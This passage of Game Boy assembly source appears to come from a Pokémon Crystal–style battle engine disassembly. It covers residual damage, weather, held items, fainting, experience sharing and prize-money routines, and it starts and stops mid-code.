LoadTileMapToTempTileMap call TryEnemyFlee jp c, WildFled_EnemyFled_LinkBattleCanceled call EnemyTurn_EndOpponentProtectEndureDestinyBond call CheckMobileBattleError ret c ld a, [wForcedSwitch] and a ret nz call HasPlayerFainted jp z, HandlePlayerMonFaint call HasEnemyFainted jp z, HandleEnemyMonFaint .switched_or_used_item call SetEnemyTurn call ResidualDamage jp z, HandleEnemyMonFaint call RefreshBattleHuds xor a ; BATTLEPLAYERACTION_USEMOVE ld [wBattlePlayerAction], a ret PlayerTurn_EndOpponentProtectEndureDestinyBond: call SetPlayerTurn call EndUserDestinyBond callfar DoPlayerTurn jp EndOpponentProtectEndureDestinyBond EnemyTurn_EndOpponentProtectEndureDestinyBond: call SetEnemyTurn call EndUserDestinyBond callfar DoEnemyTurn jp EndOpponentProtectEndureDestinyBond EndOpponentProtectEndureDestinyBond: ld a, BATTLE_VARS_SUBSTATUS1_OPP call GetBattleVarAddr res SUBSTATUS_PROTECT, [hl] res SUBSTATUS_ENDURE, [hl] ld a, BATTLE_VARS_SUBSTATUS5_OPP call GetBattleVarAddr res SUBSTATUS_DESTINY_BOND, [hl] ret EndUserDestinyBond: ld a, BATTLE_VARS_SUBSTATUS5 call GetBattleVarAddr res SUBSTATUS_DESTINY_BOND, [hl] ret HasUserFainted: ldh a, [hBattleTurn] and a jr z, HasPlayerFainted HasEnemyFainted: ld hl, wEnemyMonHP jr CheckIfHPIsZero HasPlayerFainted: ld hl, wBattleMonHP CheckIfHPIsZero: ld a, [hli] or [hl] ret ResidualDamage: ; Return z if the user fainted before ; or as a result of residual damage. ; For Sandstorm damage, see HandleWeather. call HasUserFainted ret z ld a, BATTLE_VARS_STATUS call GetBattleVar and 1 << PSN | 1 << BRN jr z, .did_psn_brn ld hl, HurtByPoisonText ld de, ANIM_PSN and 1 << BRN jr z, .got_anim ld hl, HurtByBurnText ld de, ANIM_BRN .got_anim push de call StdBattleTextbox pop de xor a ld [wNumHits], a call Call_PlayBattleAnim_OnlyIfVisible call GetEighthMaxHP ld de, wPlayerToxicCount ldh a, [hBattleTurn] and a jr z, .check_toxic ld de, wEnemyToxicCount .check_toxic ld a, BATTLE_VARS_SUBSTATUS5 call GetBattleVar bit SUBSTATUS_TOXIC, a jr z, .did_toxic call GetSixteenthMaxHP ld a, [de] inc a ld [de], a ld hl, 0 .add add hl, bc dec a jr nz, .add ld b, h ld c, l .did_toxic call SubtractHPFromUser .did_psn_brn call HasUserFainted jp z, .fainted ld a, BATTLE_VARS_SUBSTATUS4 call GetBattleVarAddr bit SUBSTATUS_LEECH_SEED, [hl] jr z, .not_seeded call SwitchTurnCore xor a ld [wNumHits], a ld de, ANIM_SAP ld a, BATTLE_VARS_SUBSTATUS3_OPP call GetBattleVar and 1 << SUBSTATUS_FLYING | 1 << SUBSTATUS_UNDERGROUND call z, Call_PlayBattleAnim_OnlyIfVisible call SwitchTurnCore call GetEighthMaxHP call SubtractHPFromUser ld a, $1 ldh [hBGMapMode], a call RestoreHP ld hl, LeechSeedSapsText call StdBattleTextbox .not_seeded call HasUserFainted jr z, .fainted ld a, BATTLE_VARS_SUBSTATUS1 call GetBattleVarAddr bit SUBSTATUS_NIGHTMARE, [hl] jr z, .not_nightmare xor a ld [wNumHits], a ld de, ANIM_IN_NIGHTMARE call Call_PlayBattleAnim_OnlyIfVisible call GetQuarterMaxHP call SubtractHPFromUser ld hl, HasANightmareText call StdBattleTextbox .not_nightmare call HasUserFainted jr z, .fainted ld a, BATTLE_VARS_SUBSTATUS1 call GetBattleVarAddr bit SUBSTATUS_CURSE, [hl] jr z, .not_cursed xor a ld [wNumHits], a ld de, ANIM_IN_NIGHTMARE call Call_PlayBattleAnim_OnlyIfVisible call GetQuarterMaxHP call SubtractHPFromUser ld hl, HurtByCurseText call StdBattleTextbox .not_cursed ld hl, wBattleMonHP ldh a, [hBattleTurn] and a jr z, .check_fainted ld hl, wEnemyMonHP .check_fainted ld a, [hli] or [hl] ret nz .fainted call RefreshBattleHuds ld c, 20 call DelayFrames xor a ret HandlePerishSong: ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .EnemyFirst call SetPlayerTurn call .do_it call SetEnemyTurn jp .do_it .EnemyFirst: call SetEnemyTurn call .do_it call SetPlayerTurn .do_it ld hl, wPlayerPerishCount ldh a, [hBattleTurn] and a jr z, .got_count ld hl, wEnemyPerishCount .got_count ld a, BATTLE_VARS_SUBSTATUS1 call GetBattleVar bit SUBSTATUS_PERISH, a ret z dec [hl] ld a, [hl] ld [wDeciramBuffer], a push af ld hl, PerishCountText call StdBattleTextbox pop af ret nz ld a, BATTLE_VARS_SUBSTATUS1 call GetBattleVarAddr res SUBSTATUS_PERISH, [hl] ldh a, [hBattleTurn] and a jr nz, .kill_enemy ld hl, wBattleMonHP xor a ld [hli], a ld [hl], a ld hl, wPartyMon1HP ld a, [wCurBattleMon] call GetPartyLocation xor a ld [hli], a ld [hl], a ret .kill_enemy ld hl, wEnemyMonHP xor a ld [hli], a ld [hl], a ld a, [wBattleMode] dec a ret z ld hl, wOTPartyMon1HP ld a, [wCurOTMon] call GetPartyLocation xor a ld [hli], a ld [hl], a ret HandleWrap: ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .EnemyFirst call SetPlayerTurn call .do_it call SetEnemyTurn jp .do_it .EnemyFirst: call SetEnemyTurn call .do_it call SetPlayerTurn .do_it ld hl, wPlayerWrapCount ld de, wPlayerTrappingMove ldh a, [hBattleTurn] and a jr z, .got_addrs ld hl, wEnemyWrapCount ld de, wEnemyTrappingMove .got_addrs ld a, [hl] and a ret z ld a, BATTLE_VARS_SUBSTATUS4 call GetBattleVar bit SUBSTATUS_SUBSTITUTE, a ret nz ld a, [de] ld [wNamedObjectIndexBuffer], a ld [wFXAnimID], a call GetMoveName dec [hl] jr z, .release_from_bounds ld a, BATTLE_VARS_SUBSTATUS3 call GetBattleVar and 1 << SUBSTATUS_FLYING | 1 << SUBSTATUS_UNDERGROUND jr nz, .skip_anim call SwitchTurnCore xor a ld [wNumHits], a ld [wFXAnimID + 1], a predef PlayBattleAnim call SwitchTurnCore .skip_anim call GetSixteenthMaxHP call SubtractHPFromUser ld hl, BattleText_UsersHurtByStringBuffer1 jr .print_text .release_from_bounds ld hl, BattleText_UserWasReleasedFromStringBuffer1 .print_text jp StdBattleTextbox SwitchTurnCore: ldh a, [hBattleTurn] xor 1 ldh [hBattleTurn], a ret HandleLeftovers: ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .DoEnemyFirst call SetPlayerTurn call .do_it call SetEnemyTurn jp .do_it .DoEnemyFirst: call SetEnemyTurn call .do_it call SetPlayerTurn .do_it callfar GetUserItem ld a, [hl] ld [wNamedObjectIndexBuffer], a call GetItemName ld a, b cp HELD_LEFTOVERS ret nz ld hl, wBattleMonHP ldh a, [hBattleTurn] and a jr z, .got_hp ld hl, wEnemyMonHP .got_hp ; Don't restore if we're already at max HP ld a, [hli] ld b, a ld a, [hli] ld c, a ld a, [hli] cp b jr nz, .restore ld a, [hl] cp c ret z .restore call GetSixteenthMaxHP call SwitchTurnCore call RestoreHP ld hl, BattleText_TargetRecoveredWithItem jp StdBattleTextbox HandleMysteryberry: ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .DoEnemyFirst call SetPlayerTurn call .do_it call SetEnemyTurn jp .do_it .DoEnemyFirst: call SetEnemyTurn call .do_it call SetPlayerTurn .do_it callfar GetUserItem ld a, b cp HELD_RESTORE_PP jr nz, .quit ld hl, wPartyMon1PP ld a, [wCurBattleMon] call GetPartyLocation ld d, h ld e, l ld hl, wPartyMon1Moves ld a, [wCurBattleMon] call GetPartyLocation ldh a, [hBattleTurn] and a jr z, .wild ld de, wWildMonPP ld hl, wWildMonMoves ld a, [wBattleMode] dec a jr z, .wild ld hl, wOTPartyMon1PP ld a, [wCurOTMon] call GetPartyLocation ld d, h ld e, l ld hl, wOTPartyMon1Moves ld a, [wCurOTMon] call GetPartyLocation .wild ld c, $0 .loop ld a, [hl] and a jr z, .quit ld a, [de] and PP_MASK jr z, .restore inc hl inc de inc c ld a, c cp NUM_MOVES jr nz, .loop .quit ret .restore ; lousy hack ld a, [hl] cp SKETCH ld b, 1 jr z, .sketch ld b, 5 .sketch ld a, [de] add b ld [de], a push bc push bc ld a, [hl] ld [wTempByteValue], a ld de, wBattleMonMoves - 1 ld hl, wBattleMonPP ldh a, [hBattleTurn] and a jr z, .player_pp ld de, wEnemyMonMoves - 1 ld hl, wEnemyMonPP .player_pp inc de pop bc ld b, 0 add hl, bc push hl ld h, d ld l, e add hl, bc pop de pop bc ld a, [wTempByteValue] cp [hl] jr nz, .skip_checks ldh a, [hBattleTurn] and a ld a, [wPlayerSubStatus5] jr z, .check_transform ld a, [wEnemySubStatus5] .check_transform bit SUBSTATUS_TRANSFORMED, a jr nz, .skip_checks ld a, [de] add b ld [de], a .skip_checks callfar GetUserItem ld a, [hl] ld [wNamedObjectIndexBuffer], a xor a ld [hl], a call GetPartymonItem ldh a, [hBattleTurn] and a jr z, .consume_item ld a, [wBattleMode] dec a jr z, .skip_consumption call GetOTPartymonItem .consume_item xor a ld [hl], a .skip_consumption call GetItemName call SwitchTurnCore call ItemRecoveryAnim call SwitchTurnCore ld hl, BattleText_UserRecoveredPPUsing jp StdBattleTextbox HandleFutureSight: ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .enemy_first call SetPlayerTurn call .do_it call SetEnemyTurn jp .do_it .enemy_first call SetEnemyTurn call .do_it call SetPlayerTurn .do_it ld hl, wPlayerFutureSightCount ldh a, [hBattleTurn] and a jr z, .okay ld hl, wEnemyFutureSightCount .okay ld a, [hl] and a ret z dec a ld [hl], a cp $1 ret nz ld hl, BattleText_TargetWasHitByFutureSight call StdBattleTextbox ld a, BATTLE_VARS_MOVE call GetBattleVarAddr push af ld a, FUTURE_SIGHT ld [hl], a callfar UpdateMoveData xor a ld [wAttackMissed], a ld [wAlreadyDisobeyed], a ld a, EFFECTIVE ld [wTypeModifier], a callfar DoMove xor a ld [wCurDamage], a ld [wCurDamage + 1], a ld a, BATTLE_VARS_MOVE call GetBattleVarAddr pop af ld [hl], a call UpdateBattleMonInParty jp UpdateEnemyMonInParty HandleDefrost: ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .enemy_first call .do_player_turn jr .do_enemy_turn .enemy_first call .do_enemy_turn .do_player_turn ld a, [wBattleMonStatus] bit FRZ, a ret z ld a, [wPlayerJustGotFrozen] and a ret nz call BattleRandom cp 10 percent ret nc xor a ld [wBattleMonStatus], a ld a, [wCurBattleMon] ld hl, wPartyMon1Status call GetPartyLocation ld [hl], 0 call UpdateBattleHuds call SetEnemyTurn ld hl, DefrostedOpponentText jp StdBattleTextbox .do_enemy_turn ld a, [wEnemyMonStatus] bit FRZ, a ret z ld a, [wEnemyJustGotFrozen] and a ret nz call BattleRandom cp 10 percent ret nc xor a ld [wEnemyMonStatus], a ld a, [wBattleMode] dec a jr z, .wild ld a, [wCurOTMon] ld hl, wOTPartyMon1Status call GetPartyLocation ld [hl], 0 .wild call UpdateBattleHuds call SetPlayerTurn ld hl, DefrostedOpponentText jp StdBattleTextbox HandleSafeguard: ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .player1 call .CheckPlayer jr .CheckEnemy .player1 call .CheckEnemy .CheckPlayer: ld a, [wPlayerScreens] bit SCREENS_SAFEGUARD, a ret z ld hl, wPlayerSafeguardCount dec [hl] ret nz res SCREENS_SAFEGUARD, a ld [wPlayerScreens], a xor a jr .print .CheckEnemy: ld a, [wEnemyScreens] bit SCREENS_SAFEGUARD, a ret z ld hl, wEnemySafeguardCount dec [hl] ret nz res SCREENS_SAFEGUARD, a ld [wEnemyScreens], a ld a, $1 .print ldh [hBattleTurn], a ld hl, BattleText_SafeguardFaded jp StdBattleTextbox HandleScreens: ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .Both call .CheckPlayer jr .CheckEnemy .Both: call .CheckEnemy .CheckPlayer: call SetPlayerTurn ld de, .Your call .Copy ld hl, wPlayerScreens ld de, wPlayerLightScreenCount jr .TickScreens .CheckEnemy: call SetEnemyTurn ld de, .Enemy call .Copy ld hl, wEnemyScreens ld de, wEnemyLightScreenCount .TickScreens: bit SCREENS_LIGHT_SCREEN, [hl] call nz, .LightScreenTick bit SCREENS_REFLECT, [hl] call nz, .ReflectTick ret .Copy: ld hl, wStringBuffer1 jp CopyName2 .Your: db "Your@" .Enemy: db "Enemy@" .LightScreenTick: ld a, [de] dec a ld [de], a ret nz res SCREENS_LIGHT_SCREEN, [hl] push hl push de ld hl, BattleText_MonsLightScreenFell call StdBattleTextbox pop de pop hl ret .ReflectTick: inc de ld a, [de] dec a ld [de], a ret nz res SCREENS_REFLECT, [hl] ld hl, BattleText_MonsReflectFaded jp StdBattleTextbox HandleWeather: ld a, [wBattleWeather] cp WEATHER_NONE ret z ld hl, wWeatherCount dec [hl] jr z, .ended ld hl, .WeatherMessages call .PrintWeatherMessage ld a, [wBattleWeather] cp WEATHER_SANDSTORM ret nz ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .enemy_first .player_first call SetPlayerTurn call .SandstormDamage call SetEnemyTurn jr .SandstormDamage .enemy_first call SetEnemyTurn call .SandstormDamage call SetPlayerTurn .SandstormDamage: ld a, BATTLE_VARS_SUBSTATUS3 call GetBattleVar bit SUBSTATUS_UNDERGROUND, a ret nz ld hl, wBattleMonType1 ldh a, [hBattleTurn] and a jr z, .ok ld hl, wEnemyMonType1 .ok ld a, [hli] cp ROCK ret z cp GROUND ret z cp STEEL ret z ld a, [hl] cp ROCK ret z cp GROUND ret z cp STEEL ret z call SwitchTurnCore xor a ld [wNumHits], a ld de, ANIM_IN_SANDSTORM call Call_PlayBattleAnim call SwitchTurnCore call GetEighthMaxHP call SubtractHPFromUser ld hl, SandstormHitsText jp StdBattleTextbox .ended ld hl, .WeatherEndedMessages call .PrintWeatherMessage xor a ld [wBattleWeather], a ret .PrintWeatherMessage: ld a, [wBattleWeather] dec a ld c, a ld b, 0 add hl, bc add hl, bc ld a, [hli] ld h, [hl] ld l, a jp StdBattleTextbox .WeatherMessages: ; entries correspond to WEATHER_* constants dw BattleText_RainContinuesToFall dw BattleText_TheSunlightIsStrong dw BattleText_TheSandstormRages .WeatherEndedMessages: ; entries correspond to WEATHER_* constants dw BattleText_TheRainStopped dw BattleText_TheSunlightFaded dw BattleText_TheSandstormSubsided SubtractHPFromTarget: call SubtractHP jp UpdateHPBar SubtractHPFromUser: ; Subtract HP from mon call SubtractHP jp UpdateHPBarBattleHuds SubtractHP: ld hl, wBattleMonHP ldh a, [hBattleTurn] and a jr z, .ok ld hl, wEnemyMonHP .ok inc hl ld a, [hl] ld [wBuffer3], a sub c ld [hld], a ld [wBuffer5], a ld a, [hl] ld [wBuffer4], a sbc b ld [hl], a ld [wBuffer6], a ret nc ld a, [wBuffer3] ld c, a ld a, [wBuffer4] ld b, a xor a ld [hli], a ld [hl], a ld [wBuffer5], a ld [wBuffer6], a ret GetSixteenthMaxHP: call GetQuarterMaxHP ; quarter result srl c srl c ; round up ld a, c and a jr nz, .ok inc c .ok ret GetEighthMaxHP: ; output: bc call GetQuarterMaxHP ; assumes nothing can have 1024 or more hp ; halve result srl c ; round up ld a, c and a jr nz, .end inc c .end ret GetQuarterMaxHP: ; output: bc call GetMaxHP ; quarter result srl b rr c srl b rr c ; assumes nothing can have 1024 or more hp ; round up ld a, c and a jr nz, .end inc c .end ret GetHalfMaxHP: ; output: bc call GetMaxHP ; halve result srl b rr c ; floor = 1 ld a, c or b jr nz, .end inc c .end ret GetMaxHP: ; output: bc, wBuffer1-2 ld hl, wBattleMonMaxHP ldh a, [hBattleTurn] and a jr z, .ok ld hl, wEnemyMonMaxHP .ok ld a, [hli] ld [wBuffer2], a ld b, a ld a, [hl] ld [wBuffer1], a ld c, a ret Unreferenced_GetHalfHP: ld hl, wBattleMonHP ldh a, [hBattleTurn] and a jr z, .ok ld hl, wEnemyMonHP .ok ld a, [hli] ld b, a ld a, [hli] ld c, a srl b rr c ld a, [hli] ld [wBuffer2], a ld a, [hl] ld [wBuffer1], a ret CheckUserHasEnoughHP: ld hl, wBattleMonHP + 1 ldh a, [hBattleTurn] and a jr z, .ok ld hl, wEnemyMonHP + 1 .ok ld a, c sub [hl] dec hl ld a, b sbc [hl] ret RestoreHP: ld hl, wEnemyMonMaxHP ldh a, [hBattleTurn] and a jr z, .ok ld hl, wBattleMonMaxHP .ok ld a, [hli] ld [wBuffer2], a ld a, [hld] ld [wBuffer1], a dec hl ld a, [hl] ld [wBuffer3], a add c ld [hld], a ld [wBuffer5], a ld a, [hl] ld [wBuffer4], a adc b ld [hli], a ld [wBuffer6], a ld a, [wBuffer1] ld c, a ld a, [hld] sub c ld a, [wBuffer2] ld b, a ld a, [hl] sbc b jr c, .asm_3cd2d ld a, b ld [hli], a ld [wBuffer6], a ld a, c ld [hl], a ld [wBuffer5], a .asm_3cd2d call SwitchTurnCore call UpdateHPBarBattleHuds jp SwitchTurnCore UpdateHPBarBattleHuds: call UpdateHPBar jp UpdateBattleHuds UpdateHPBar: hlcoord 10, 9 ldh a, [hBattleTurn] and a ld a, 1 jr z, .ok hlcoord 2, 2 xor a .ok push bc ld [wWhichHPBar], a predef AnimateHPBar pop bc ret HandleEnemyMonFaint: call FaintEnemyPokemon ld hl, wBattleMonHP ld a, [hli] or [hl] call z, FaintYourPokemon xor a ld [wWhichMonFaintedFirst], a call UpdateBattleStateAndExperienceAfterEnemyFaint call CheckPlayerPartyForFitMon ld a, d and a jp z, LostBattle ld hl, wBattleMonHP ld a, [hli] or [hl] call nz, UpdatePlayerHUD ld a, $1 ldh [hBGMapMode], a ld c, 60 call DelayFrames ld a, [wBattleMode] dec a jr nz, .trainer ld a, 1 ld [wBattleEnded], a ret .trainer call CheckEnemyTrainerDefeated jp z, WinTrainerBattle ld hl, wBattleMonHP ld a, [hli] or [hl] jr nz, .player_mon_not_fainted call AskUseNextPokemon jr nc, .dont_flee ld a, 1 ld [wBattleEnded], a ret .dont_flee call ForcePlayerMonChoice call CheckMobileBattleError jp c, WildFled_EnemyFled_LinkBattleCanceled ld a, BATTLEPLAYERACTION_USEITEM ld [wBattlePlayerAction], a call HandleEnemySwitch jp z, WildFled_EnemyFled_LinkBattleCanceled jr DoubleSwitch .player_mon_not_fainted ld a, BATTLEPLAYERACTION_USEITEM ld [wBattlePlayerAction], a call HandleEnemySwitch jp z, WildFled_EnemyFled_LinkBattleCanceled xor a ; BATTLEPLAYERACTION_USEMOVE ld [wBattlePlayerAction], a ret DoubleSwitch: ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .player_1 call ClearSprites hlcoord 1, 0 lb bc, 4, 10 call ClearBox call PlayerPartyMonEntrance ld a, $1 call EnemyPartyMonEntrance jr .done .player_1 ld a, [wCurPartyMon] push af ld a, $1 call EnemyPartyMonEntrance call ClearSprites call LoadTileMapToTempTileMap pop af ld [wCurPartyMon], a call PlayerPartyMonEntrance .done xor a ; BATTLEPLAYERACTION_USEMOVE ld [wBattlePlayerAction], a ret UpdateBattleStateAndExperienceAfterEnemyFaint: call UpdateBattleMonInParty ld a, [wBattleMode] dec a jr z, .wild ld a, [wCurOTMon] ld hl, wOTPartyMon1HP call GetPartyLocation xor a ld [hli], a ld [hl], a .wild ld hl, wPlayerSubStatus3 res SUBSTATUS_IN_LOOP, [hl] xor a ld hl, wEnemyDamageTaken ld [hli], a ld [hl], a call NewEnemyMonStatus call BreakAttraction ld a, [wBattleMode] dec a jr z, .wild2 jr .trainer .wild2 call StopDangerSound ld a, $1 ld [wBattleLowHealthAlarm], a .trainer ld hl, wBattleMonHP ld a, [hli] or [hl] jr nz, .player_mon_did_not_faint ld a, [wWhichMonFaintedFirst] and a jr nz, .player_mon_did_not_faint call UpdateFaintedPlayerMon .player_mon_did_not_faint call CheckPlayerPartyForFitMon ld a, d and a ret z ld a, [wBattleMode] dec a call z, PlayVictoryMusic call EmptyBattleTextbox call LoadTileMapToTempTileMap ld a, [wBattleResult] and BATTLERESULT_BITMASK ld [wBattleResult], a ; WIN call IsAnyMonHoldingExpShare jr z, .skip_exp ld hl, wEnemyMonBaseStats ld b, wEnemyMonEnd - wEnemyMonBaseStats .loop srl [hl] inc hl dec b jr nz, .loop .skip_exp ld hl, wEnemyMonBaseStats ld de, wBackupEnemyMonBaseStats ld bc, wEnemyMonEnd - wEnemyMonBaseStats call CopyBytes xor a ld [wGivingExperienceToExpShareHolders], a call GiveExperiencePoints call IsAnyMonHoldingExpShare ret z ld a, [wBattleParticipantsNotFainted] push af ld a, d ld [wBattleParticipantsNotFainted], a ld hl, wBackupEnemyMonBaseStats ld de, wEnemyMonBaseStats ld bc, wEnemyMonEnd - wEnemyMonBaseStats call CopyBytes ld a, $1 ld [wGivingExperienceToExpShareHolders], a call GiveExperiencePoints pop af ld [wBattleParticipantsNotFainted], a ret IsAnyMonHoldingExpShare: ld a, [wPartyCount] ld b, a ld hl, wPartyMon1 ld c, 1 ld d, 0 .loop push hl push bc ld bc, MON_HP add hl, bc ld a, [hli] or [hl] pop bc pop hl jr z, .next push hl push bc ld bc, MON_ITEM add hl, bc pop bc ld a, [hl] pop hl cp EXP_SHARE jr nz, .next ld a, d or c ld d, a .next sla c push de ld de, PARTYMON_STRUCT_LENGTH add hl, de pop de dec b jr nz, .loop ld a, d ld e, 0 ld b, PARTY_LENGTH .loop2 srl a jr nc, .okay inc e .okay dec b jr nz, .loop2 ld a, e and a ret StopDangerSound: xor a ld [wLowHealthAlarm], a ret FaintYourPokemon: call StopDangerSound call WaitSFX ld a, $f0 ld [wCryTracks], a ld a, [wBattleMonSpecies] call PlayStereoCry call PlayerMonFaintedAnimation hlcoord 9, 7 lb bc, 5, 11 call ClearBox ld hl, BattleText_MonFainted jp StdBattleTextbox FaintEnemyPokemon: call WaitSFX ld de, SFX_KINESIS call PlaySFX call EnemyMonFaintedAnimation ld de, SFX_FAINT call PlaySFX hlcoord 1, 0 lb bc, 4, 10 call ClearBox ld hl, BattleText_EnemyMonFainted jp StdBattleTextbox CheckEnemyTrainerDefeated: ld a, [wOTPartyCount] ld b, a xor a ld hl, wOTPartyMon1HP ld de, PARTYMON_STRUCT_LENGTH .loop or [hl] inc hl or [hl] dec hl add hl, de dec b jr nz, .loop and a ret HandleEnemySwitch: ld hl, wEnemyHPPal ld e, HP_BAR_LENGTH_PX call UpdateHPPal call WaitBGMap farcall EnemySwitch_TrainerHud ld a, [wLinkMode] and a jr z, .not_linked call LinkBattleSendReceiveAction ld a, [wBattleAction] cp BATTLEACTION_FORFEIT ret z call Call_LoadTempTileMapToTileMap .not_linked ld hl, wBattleMonHP ld a, [hli] or [hl] ld a, $0 jr nz, EnemyPartyMonEntrance inc a ret EnemyPartyMonEntrance: push af xor a ld [wEnemySwitchMonIndex], a call NewEnemyMonStatus call ResetEnemyStatLevels call BreakAttraction pop af and a jr nz, .set call EnemySwitch jr .done_switch .set call EnemySwitch_SetMode .done_switch call ResetBattleParticipants call SetEnemyTurn call SpikesDamage xor a ld [wEnemyMoveStruct + MOVE_ANIM], a ld [wBattlePlayerAction], a inc a ret WinTrainerBattle: ; Player won the battle call StopDangerSound ld a, $1 ld [wBattleLowHealthAlarm], a ld [wBattleEnded], a ld a, [wLinkMode] and a ld a, b call z, PlayVictoryMusic callfar Battle_GetTrainerName ld hl, BattleText_EnemyWasDefeated call StdBattleTextbox call IsMobileBattle jr z, .mobile ld a, [wLinkMode] and a ret nz ld a, [wInBattleTowerBattle] bit 0, a jr nz, .battle_tower call BattleWinSlideInEnemyTrainerFrontpic ld c, 40 call DelayFrames ld a, [wBattleType] cp BATTLETYPE_CANLOSE jr nz, .skip_heal predef HealParty .skip_heal ld a, [wDebugFlags] bit DEBUG_BATTLE_F, a jr nz, .skip_win_loss_text call PrintWinLossText .skip_win_loss_text jp .GiveMoney .mobile call BattleWinSlideInEnemyTrainerFrontpic ld c, 40 call DelayFrames ld c, $4 ; win farcall Mobile_PrintOpponentBattleMessage ret .battle_tower call BattleWinSlideInEnemyTrainerFrontpic ld c, 40 call DelayFrames call EmptyBattleTextbox ld c, BATTLETOWERTEXT_LOSS_TEXT farcall BattleTowerText call WaitPressAorB_BlinkCursor ld hl, wPayDayMoney ld a, [hli] or [hl] inc hl or [hl] ret nz call ClearTileMap call ClearBGPalettes ret .GiveMoney: ld a, [wAmuletCoin] and a call nz, .DoubleReward call .CheckMaxedOutMomMoney push af ld a, FALSE jr nc, .okay ld a, [wMomSavingMoney] and MOM_SAVING_MONEY_MASK cp (1 << MOM_SAVING_SOME_MONEY_F) | (1 << MOM_SAVING_HALF_MONEY_F) jr nz, .okay inc a ; TRUE .okay ld b, a ld c, 4 .loop ld a, b and a jr z, .loop2 call .AddMoneyToMom dec c dec b jr .loop .loop2 ld a, c and a jr z, .done call .AddMoneyToWallet dec c jr .loop2 .done call .DoubleReward call .DoubleReward pop af jr nc, .KeepItAll ld a, [wMomSavingMoney] and MOM_SAVING_MONEY_MASK jr z, .KeepItAll ld hl, .SentToMomTexts dec a ld c, a ld b, 0 add hl, bc add hl, bc ld a, [hli] ld h, [hl] ld l, a jp StdBattleTextbox .KeepItAll: ld hl, GotMoneyForWinningText jp StdBattleTextbox .AddMoneyToMom: push bc ld hl, wBattleReward + 2 ld de, wMomsMoney + 2 call AddBattleMoneyToAccount pop bc ret .AddMoneyToWallet: push bc ld hl, wBattleReward + 2 ld de, wMoney + 2 call AddBattleMoneyToAccount pop bc ret .DoubleReward: ld hl, wBattleReward + 2 sla [hl] dec hl rl [hl] dec hl rl [hl] ret nc ld a, $ff ld [hli], a ld [hli], a ld [hl], a ret .SentToMomTexts: ; entries correspond to MOM_SAVING_* constants dw SentSomeToMomText dw SentHalfToMomText dw SentAllToMomText .CheckMaxedOutMomMoney: ld hl, wMomsMoney + 2 ld a, [hld] cp LOW(MAX_MONEY) ld a, [hld] sbc HIGH(MAX_MONEY) ; mid ld a, [hl] sbc HIGH(MAX_MONEY >> 8) ret AddBattleMoneyToAccount: ld c, 3 and a push de push hl push bc ld b, h ld c, l farcall StubbedTrainerRankings_AddToBattlePayouts pop bc pop hl .loop ld a, [de] adc [hl] ld [de], a dec de dec hl dec c jr nz, .loop pop hl ld a, [hld] cp LOW(MAX_MONEY) ld a, [hld] sbc HIGH(MAX_MONEY) ; mid ld a, [hl] sbc HIGH(MAX_MONEY >> 8) ret c ld [hl], HIGH(MAX_MONEY >> 8) inc hl ld [hl], HIGH(MAX_MONEY) ; mid inc hl ld [hl], LOW(MAX_MONEY) ret PlayVictoryMusic: push de ld de, MUSIC_NONE call PlayMusic call DelayFrame ld de, MUSIC_WILD_VICTORY ld a, [wBattleMode] dec a jr nz, .trainer_victory push de call IsAnyMonHoldingExpShare pop de jr nz, .play_music ld hl, wPayDayMoney ld a, [hli] or [hl] jr nz, .play_music ld a, [wBattleParticipantsNotFainted] and a jr z, .lost jr .play_music .trainer_victory ld de, MUSIC_GYM_VICTORY call IsGymLeader jr c, .play_music ld de, MUSIC_TRAINER_VICTORY .play_music call PlayMusic .lost pop de ret IsKantoGymLeader: ld hl, KantoGymLeaders jr IsGymLeaderCommon IsGymLeader: ld hl, GymLeaders IsGymLeaderCommon: push de ld a, [wOtherTrainerClass] ld de, 1 call IsInArray pop de ret INCLUDE "data/trainers/leaders.asm" HandlePlayerMonFaint: call FaintYourPokemon ld hl, wEnemyMonHP ld a, [hli] or [hl] call z, FaintEnemyPokemon ld a, $1 ld [wWhichMonFaintedFirst], a call UpdateFaintedPlayerMon call CheckPlayerPartyForFitMon ld a, d and a jp z, LostBattle ld hl, wEnemyMonHP ld a, [hli] or [hl] jr nz, .notfainted call UpdateBattleStateAndExperienceAfterEnemyFaint ld a, [wBattleMode] dec a jr nz, .trainer ld a, $1 ld [wBattleEnded], a ret .trainer call CheckEnemyTrainerDefeated jp z, WinTrainerBattle .notfainted call AskUseNextPokemon jr nc, .switch ld a, $1 ld [wBattleEnded], a ret .switch call ForcePlayerMonChoice call CheckMobileBattleError jp c, WildFled_EnemyFled_LinkBattleCanceled ld a, c and a ret nz ld a, BATTLEPLAYERACTION_USEITEM ld [wBattlePlayerAction], a call HandleEnemySwitch jp z, WildFled_EnemyFled_LinkBattleCanceled jp DoubleSwitch UpdateFaintedPlayerMon: ld a, [wCurBattleMon] ld c, a ld hl, wBattleParticipantsNotFainted ld b, RESET_FLAG predef SmallFarFlagAction ld hl, wEnemySubStatus3 res SUBSTATUS_IN_LOOP, [hl] xor a ld [wLowHealthAlarm], a ld hl, wPlayerDamageTaken ld [hli], a ld [hl], a ld [wBattleMonStatus], a call UpdateBattleMonInParty ld c, HAPPINESS_FAINTED ; If TheirLevel > (YourLevel + 30), use a different parameter ld a, [wBattleMonLevel] add 30 ld b, a ld a, [wEnemyMonLevel] cp b jr c, .got_param ld c, HAPPINESS_BEATENBYSTRONGFOE .got_param ld a, [wCurBattleMon] ld [wCurPartyMon], a callfar ChangeHappiness ld a, [wBattleResult] and BATTLERESULT_BITMASK add LOSE ld [wBattleResult], a ld a, [wWhichMonFaintedFirst] and a ret z ret ; ?????????? AskUseNextPokemon: call EmptyBattleTextbox call LoadTileMapToTempTileMap ; We don't need to be here if we're in a Trainer battle, ; as that decision is made for us. ld a, [wBattleMode] and a dec a ret nz ld hl, BattleText_UseNextMon call StdBattleTextbox .loop lb bc, 1, 7 call PlaceYesNoBox ld a, [wMenuCursorY] jr c, .pressed_b and a ret .pressed_b ld 